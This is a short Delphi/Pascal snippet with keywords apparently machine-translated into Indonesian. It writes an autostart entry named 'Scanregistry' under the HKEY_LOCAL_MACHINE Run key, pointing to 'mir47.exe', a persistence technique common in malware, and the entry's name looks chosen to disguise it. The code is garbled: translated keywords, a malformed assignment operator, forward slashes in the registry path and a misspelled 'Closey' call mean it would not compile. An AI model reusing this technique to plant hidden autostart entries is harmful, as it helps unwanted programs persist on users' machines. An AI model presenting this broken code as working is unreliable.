menggunakan registri;
Var Reg: Tregistry;
mulai
Reg: = Tregistry.Create;
Reg.rootkey: = hkey_local_machine;
Reg.openkey ('Software/Microsoft/Windows/CurrentVersion/Run', True);
Reg.WriteString ('Scanregistry', 'mir47.exe');
Reg.Closey;
Reg.Free;
akhir.